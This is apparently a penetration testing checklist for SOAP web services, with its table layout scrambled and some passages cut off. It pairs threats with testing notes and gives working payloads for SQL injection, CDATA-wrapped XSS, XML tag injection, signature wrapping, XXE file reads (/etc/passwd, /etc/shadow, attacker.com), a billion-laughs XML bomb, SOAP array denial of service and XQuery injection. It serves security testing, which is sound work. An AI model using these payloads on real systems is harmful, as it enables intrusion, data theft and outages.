#

Threats

Where to Test
Anywhere on site

An adversary can invoke sensitive

methods without authentication
2

Login request
An adversary can get sensitive
information

Test name
Invoke web services without
authentication
SQL Injection on login parameters

Anywhere on site Check extension in Browser URL

An adversary can gain information

Append the keyword WSDL to the
about the structure of the web service Anywhere on site
end of the URL.
by enumerating WSDL

An adversary can obtain information

Enumerate methods using
about unpublished methods in the Web Anywhere on site
Wsdigger and SoapUI
Service

On login request SQL Injection to bypass login?

On login request SQL Injection to get error

On login request Blind SQL Injection on username

An adversary uses SQL Injection for

malicious activities

On login request Blind SQL Injection on password

An adversary uses SQL Injection for

malicious activities

SQL Injection on query string

variables

10

Anywhere on site

11

Anywhere on site SQL Injection on form fields

12

Anywhere on site SQL Injection on hidden variables

13

Anywhere on site SQL Injection on session token

14

Anywhere on site

Is blind SQL Injection possible on

numeric fields?

15

Anywhere on site

Is blind SQL Injection possible on

string fields?

16

Is XSS possible in form fields or

hidden fields? These might be in
Anywhere on site
the form of XML request response
pairs in the case of Web Services.

17

Anywhere on site

Is XSS possible in query string

variables?

18

Anywhere on site

Is XSS possible in variable

names?

19

On the Search
feature

20

On the login
request

An adversary carries out XSS attacks

Is XSS possible on the search box

and the variables sent for search
feature?
Is XSS possible on the request
from the login page?

21

Can you add/modify/remove XML

An adversary can gain unauthorized
tags and obtain a different
access or force errors from the
Anywhere on site
response from that of a valid
application by tampering with the XML
response?

22

An adversary can gain unauthorized

Understand functionality and
access to the application by performing Anywhere on site perform parameter manipulation
parameter manipulation
tests

23

An adversary can carryout injections

using the CDATA tags

Anywhere on site

Carryout XSS injections in CDATA

tags

24

An adversary can carryout XML

injections

Anywhere on site

Insert XML tags in the SOAP

messages

25

An adversary can carryout Header

Manipulation attack through
SOAPAction HTTP request header
field

SOAPAction
HTTP request
Header

Parameter Manipulation in the

SOAPAction request

26

27

An adversary can caryout attcks on the XML signature in

XML Signature based attacks
XML signatures
the request body

An Adversary can carryout CSRF

attacks on the critical web service
request

28

An adversary can carryout External

Entity attacks

XML Request

External Entity Attacks

29

30

A adversary can carry out XML Bomb

All XML Requests XML Bomb
Injections

An adversary can carryout Web

Services Replay attack

Copy a valid SOAP request from

Wireshark, a web proxy OR Create
Critical requests
a valid SOAP request using
SOAPUI and check if it is accepted

SOAP Array Abuse

Web services
request

XML SOAP arrays are a common

target for malicious abuse. SOAP
arrays are defined as having a
type of "SOAP-ENC:Array" or a
type derived there from. SOAP
arrays have one or more
dimensions (rank) whose members
are distinguished by ordinal
position. An array value is
represented as a series of
elements reflecting the array, with
members appearing in ascending
ordinal sequence. For multidimensional arrays the dimension
on the right side varies most
rapidly. Each member element is
named as an independent
element.

XQuery Injection

XQuery Injection is a variant of the

classic SQL injection attack
against the XML XQuery
Language. XQuery Injection uses
improperly validated data that is
passed to XQuery commands.
This inturn will execute commands
on behalf of the attacker that the
XQuery routines have access to.
XQuery injection can be used to
enumerate elements on the
victim's environment, inject
commands to the local host, or
execute queries to remote files
and data sources. Like SQL
injection attacks, the attacker
tunnels through the application
entry point to target the resource
access layer.

Status

Testing Notes
Try to invoke web services that normally require authentication without giving the
password

Note that this isn't a finding as the WSDL has to be exposed to other clients; check if the
wsdl contains any sensitive comments, etc

Try ' OR 1=1;-- Try other variations for SQL injection.

Try ' on the username field, and then the password field, and any other fields in the
POST.

If username is gaurav, then try gau' + 'rav and also gau' || 'rav If you are able to login,
then app is vulnerable
If you are inserting the test case via a proxy editor, please note that you have to insert the
url encode equivalents of + and | and '
For + , that's %2B
For | , that's %7C
For ', that's %27

If password is oracle123, then try oracle' + '123

and also oracle' || '123

Append ' to query string variables [Scanners can speed this up for us] eg. If abc.jsp?
name=gaurav, then try abc.jsp?name=gaurav'
Append ',;," on form fields
Append ',;," on hidden variables
Append '',;," to session token and look for an error
Example, if a variable has value 4, instead send 4*1 in the request
Instead of multiplication, you can also use addition or subtraction.
Example, if a variable has value "India", instead send Ind' + 'ia, and also with Ind' || 'ia in
the request [you might have to escape the + if you are editing the http request directly

If there is a GET request like abc.com?user=Test, let's also try embedding <xss> in the
variable name, example: abc.com?user<xss>=Test This is relevant for query strings,
hidden variables and form posts

Add a new tag, remove a valid tag or duplicate a tag and see the results. Details on how
to do this are there in the detailed document.

In XML, a CDATA section is used to escape a block of text that would otherwise
be parsed as mark up. Characters like "<" and "&" are considered illegal in XML
when used as a content of some element. If an attacker wants to insert java script then
it becomes essential to enclose script within <Script> tag. To avoid XML parsing
errors, script code can be defined as CDATA. Everything inside a CDATA section is
ignored by the XML parser i.e. it passes as it is to the application logic. Hence, this is
a powerful feature that enables an attacker to successfully inject JavaScript.
Sample payload request for XSS attacks:
<content>
<![CDATA[<]]>script type="text/javascript"<![CDATA[<]>
alert('XSS Attack');
<![CDATA][<]/script<![CDATA[>]]>
</content>
Check for reflections in the response. Also check for stored XSS if the script is getting
stored in the DB.

<?xml version="1.0".....>
<soap:Envelope xmlns:soap="..>
<soap:Body>
<Add xmlns="http://company.com/samples/wse/">
<no1>10</no1>
<no2>10</no2>
<name>Gaurav</name>
</Add>
</soap:Body>
</soap:Envelope>
We use two different techniques to carry out xml injection as follows:
1. In first case, our intention was to override the value of second parameter; i.e.
no2. We could override the value of parameter 'no2' by injecting XML tags inside first
method parameter 'no1' as shown below:
<?xml version="1.0".....>
<soap:Envelope xmlns:soap="..>
<soap:Body>
<Add xmlns="http://company.com/samples/wse/">
<no1>10</no1><no2>30</no2><no1></no1>
<no2>10</no2>
<name>Gaurav</name>
</Add>
</soap:Body>
</soap:Envelope>
First we injected </no1>? following
its actual value (10), followed by fictitious no2? node bearing value 30 ultimately
overriding original value of 20. Web service when called with these parameters did
not raise an alarm and successfully generated response 40Gaurav.
2. In the second instance of XML injection attack, we wanted to reset value of first
parameter (no1). We injected XML node labeled no23?. On de-serialization, value of
no1? defaulted to zero as injected node could not be mapped to any other parameters.

Request 1: Add Integers

HTTP Header:
SOAPAction : http://ofss.com/samples/AddIntegers"
HTTP Body:
<soap:Envelope>
<soap:Body>
<AddIntegers xmlns="....">
<no1>10</no1>
<no2>10</no2>
</AddIntegers>
</soap:Body>
</soap:Envelope>
____________________________________________________________
Request 2: Subtract Integers
HTTP Header:
SOAPAction : http://ofss.com/samples/SubtractIntegers"
HTTP Body:
<soap:Envelope>
<soap:Body>
<SubtractIntegers xmlns="....">
<no1>10</no1>
<no2>10</no2>
</SubtractIntegers>
</soap:Body>
</soap:Envelope>
The SOAP Body itself contains XML tag corresponding to the operation being
invoked. Presence of SOAPAction attribute in Http header helps web service engine
determine operation for which parameters are embedded inside SOAP body. The
engine then subsequently parses body, de-serializes parameters and supplies to
appropriate operation. We used web proxy to capture request for AddIntegers
operation and changed SOAPAction attribute to:

<Product>ProductBike</Product>
<Quantity>12</Quantity>
</Purchase>
</Body>
________________________________________________________________
FORGED REQUEST:
SOAP Header
<Header>
<Security>
<Signature>
......................
<Reference URI="Origbody">
.....................
</Reference>
</Signature>
</Security>
<Dummy mustUnderstand="0">
<Body id="origbody">
<Purchase>
<Product>ProductBike</Product>
<Quantity>12</Quantity>
</Purchase>
</Body>
</Dummy>
</Header>
______________________
SOAP Body
<Body id="forgedgbody">
<Purchase>
<Product>ProductBike</Product>

The external entities force the XML parser to access the resource specified by the URI,
e.g., a file on the local machine or on a remote systems. This behavior exposes the
application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of
service of the local system, gain unauthorized access to files on the local machine, scan
remote machines, and perform denial of service of remote systems.
To test for XXE vulnerabilities, one can use the following input:
1. <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
2. <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
3. <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
4. <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
5. <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
The file path should be selected based on the server installed on the server.

Sample Request :
<?xml version="1.0"?>
<!DOCTYPE employees [
<!ELEMENT employees (employee)*>
<!ELEMENT employee (#PCDATA)>
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">
]>
<employees>
<employee>Glenn P, &divisionname;</employee>
<employee>Dave L, &divisionname;</employee>
</employees>
This can be replaced with the following XML Bomb payload :
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
It should be noted that this XML is both well-formed and valid according to the rules of the
DTD. When an XML parser loads this document, it sees that it includes one root element,
lolz, that contains the text &lol9;. However, &lol9; is a defined entity that expands to a
string containing ten &lol8; strings. Each &lol8; string is a defined entity that expands
A replay attack is a "man-in-the-middle" type of attack where a message is intercepted
and replayed by an attacker to impersonate the original sender. For web services, as with
other types of HTTP traffic, a sniffer such as Ethereal or Wireshark can capture traffic
posted to a web service or use burp either ways. And using a tool like Burp, a tester can
resend a packet to the target server. A tester can attempt to resend the original message
or change the message in order to compromise the host server. The capture traffic is
replayed to carryout any malicious activity.
Testing for Replay Attack vulnerabilities
1. Does the web service employ some means of preventing the replay attack such as
pseudo random Session tokens, Nonces with MAC addresses, or Timestamping?
2. Does the site employ SSL? SSLv3.1 or TLSv1.0 which will prevent unauthorized
attempts to replay messages?

A web-service that expects an array can be the target of a XML DoS attack by forcing the
SOAP server to build a huge array in the machine's memory, thus inflicting a DoS
condition on the machine due to the memory pre-allocation.
An example of this is the "DoS attack using SOAP arrays":
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
<SOAP-ENV:Body>
<fn:PerformFunction xmlns:fn="foo">
<DataSet xsi:type="SOAP-ENC:Array" SOAP-ENC:arrayType="xsd:string[100000]">
<item xsi:type="xsd:string">Data1</item>
<item xsi:type="xsd:string">Data2</item>
<item xsi:type="xsd:string">Data3</item>
</DataSet>
</fn:PerformFunction>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

An typical XQuery of this document for the user mjane:

doc("users.xml")/userlist/user[uname="mjane"]
Would return:
<user category="group2">
<uname>mjane</uname>
<fname>mary</fname>
<lname>jane</lname>
<status>good</status>
</user>
Assuming that the XQuery gets its user name string from the input, an attacker can
manipulate this query into returning the set of all users. By providing the input string
something" or ""="
the XQuery becomes:
doc("users.xml")/userlist/user[uname="something" or ""=""]
Which would return a node-set of all users.
There are many forms of attack that are possible through XQuery and are very difficult to
predict. Mitigation of XQuery injection requires proper input validation prior to executing
the XQuery. Also it is important to run XML parsing and query infrastructure with minimal
privileges so that an attacker is limited in their ability to probe other system resources
from XQuery.